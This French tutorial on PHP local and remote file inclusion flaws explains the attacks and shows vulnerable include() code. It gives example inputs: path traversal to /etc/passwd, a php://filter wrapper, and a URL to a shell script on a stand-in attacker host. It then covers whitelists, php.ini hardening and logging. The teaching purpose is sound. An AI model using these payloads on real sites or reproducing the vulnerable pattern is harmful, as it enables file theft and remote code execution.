🎭LFI / RFI

LFI : Local File Inclusion / RFI : Remote File Inclusion

Failles LFI / RFI (Local/Remote File Inclusion)

Une faille LFI (Local File Inclusion) ou RFI (Remote File Inclusion) permet à un attaquant de forcer une application à inclure et exécuter ou afficher un fichier non prévu par le développeur.

• LFI : inclusion d’un fichier local au serveur (ex : /etc/passwd, fichiers de config, logs, etc.).

• RFI : inclusion d’un fichier distant, généralement via une URL contrôlée par l’attaquant, ce qui peut mener à l’exécution de code distant (webshell, script malveillant…).

Ces vulnérabilités apparaissent souvent quand un paramètre utilisateur est directement utilisé dans des fonctions comme : include, require, include_once, require_once, file_get_contents, etc.

Fonctionnement d’une attaque LFI

1. Paramètre de fichier non filtré L’application utilise un paramètre utilisateur pour inclure un fichier :

   $page = $_GET['page'];
   include($page . ".php");

2. Manipulation du chemin L’attaquant modifie le paramètre, par exemple :

   ?page=../../../../etc/passwd

3. Inclusion de fichiers sensibles Le serveur inclut un fichier qui n’était pas prévu (fichiers système, logs contenant des credentials, etc.). L’attaquant peut aussi tenter d’inclure des fichiers applicatifs pour en comprendre la logique ou récupérer des secrets.

Fonctionnement d’une attaque RFI

1. Support des URLs dans les inclusions Dans certains environnements (et si allow_url_fopen / allow_url_include sont activés), les fonctions comme include() peuvent accepter une URL :

   $page = $_GET['page'];
   include($page);

2. Injection d’une URL malveillante L’attaquant fournit une URL vers un script qu’il contrôle :

   ?page=http://attacker.tld/shell.txt

3. Exécution de code distant Le serveur récupère et exécute le contenu du fichier distant : l’attaquant obtient alors un webshell ou un accès à distance à la machine.

Conséquences d’une LFI / RFI

• Lecture de fichiers sensibles (LFI)

  • /etc/passwd, fichiers de config, logs d’application, fichiers contenant des mots de passe ou des clés.

• Révélation du code source L’attaquant peut lire des fichiers PHP (via wrappers) et comprendre la logique interne de l’application.

• Exécution de code (surtout en RFI, mais parfois LFI + log poisoning / upload)

  • Injection de webshell

  • Exécution de commandes système

• Escalade d’attaque

  • Pivot vers d’autres vulnérabilités (XSS, RCE, escalade de privilèges)

  • Compromission complète du serveur Web.

Prévention des attaques LFI / RFI

1. Ne jamais inclure directement des chemins fournis par l’utilisateur

Éviter ce type de pattern :

include($_GET['page'] . ".php");

Préférer des identifiants logiques au lieu de chemins :

// Mauvais : page=../../etc/passwd
// Bon : page=home, page=contact, etc.

2. Utiliser une liste blanche (whitelist)

Limiter les fichiers inclus à une liste définie côté serveur :

$allowed_pages = [
  'home'   => 'pages/home.php',
  'about'  => 'pages/about.php',
  'contact'=> 'pages/contact.php'
];

$page = $_GET['page'] ?? 'home';

if (array_key_exists($page, $allowed_pages)) {
    include $allowed_pages[$page];
} else {
    echo "Page non autorisée.";
}

3. Désactiver les inclusions distantes

Au niveau de la configuration PHP (php.ini) :

allow_url_fopen = Off
allow_url_include = Off

Cela réduit fortement les risques de RFI.

4. Normaliser et contrôler les chemins

Si tu dois manipuler des chemins :

• Utiliser realpath() et vérifier que le fichier reste dans un répertoire autorisé.

• Refuser toute séquence de type ../ (directory traversal).

5. Principe du moindre privilège

• L’utilisateur du serveur Web ne doit pas avoir accès à des fichiers ou répertoires inutiles.

• Segmenter les données sensibles, limiter les droits de lecture.

Exemple d’attaque LFI – code vulnérable

<?php
  // L'URL est directement utilisée comme chemin
  $page = $_GET['page'];           // ex : ?page=home
  include($page . ".php");
?>

Un attaquant peut tenter :

?page=../../../../etc/passwd

ou utiliser des wrappers :

?page=php://filter/convert.base64-encode/resource=index

Exemple sécurisé (simplifié)

<?php
  // Liste blanche des pages autorisées
  $allowed_pages = [
    'home'    => 'pages/home.php',
    'contact' => 'pages/contact.php',
    'about'   => 'pages/about.php'
  ];

  $page = $_GET['page'] ?? 'home';

  if (array_key_exists($page, $allowed_pages)) {
      include $allowed_pages[$page];
  } else {
      echo "Page non autorisée.";
  }
?>

Pratiques recommandées

• Revue de code : Identifier les endroits où des fonctions d’inclusion ou de lecture de fichiers utilisent des entrées utilisateur (include, require, file_get_contents, etc.).

• Validation systématique des entrées :

  • Utiliser des identifiants plutôt que des chemins

  • Bloquer les séquences ../, les URLs, les wrappers non désirés.

• Journalisation :

  • Loguer les paramètres suspects (tentatives avec ../, http://, php://filter, etc.).

• Durcissement serveur :

  • Droits minimaux pour l’utilisateur du serveur Web

  • Désactiver allow_url_include et limiter les wrappers disponibles.

• Tests réguliers :

  • Scans de sécurité automatisés

  • Tests manuels dans les applications manipulant des fichiers (templates, includes, downloads, etc.).

En appliquant ces bonnes pratiques, tu réduis significativement les risques liés aux failles LFI / RFI dans tes applications web.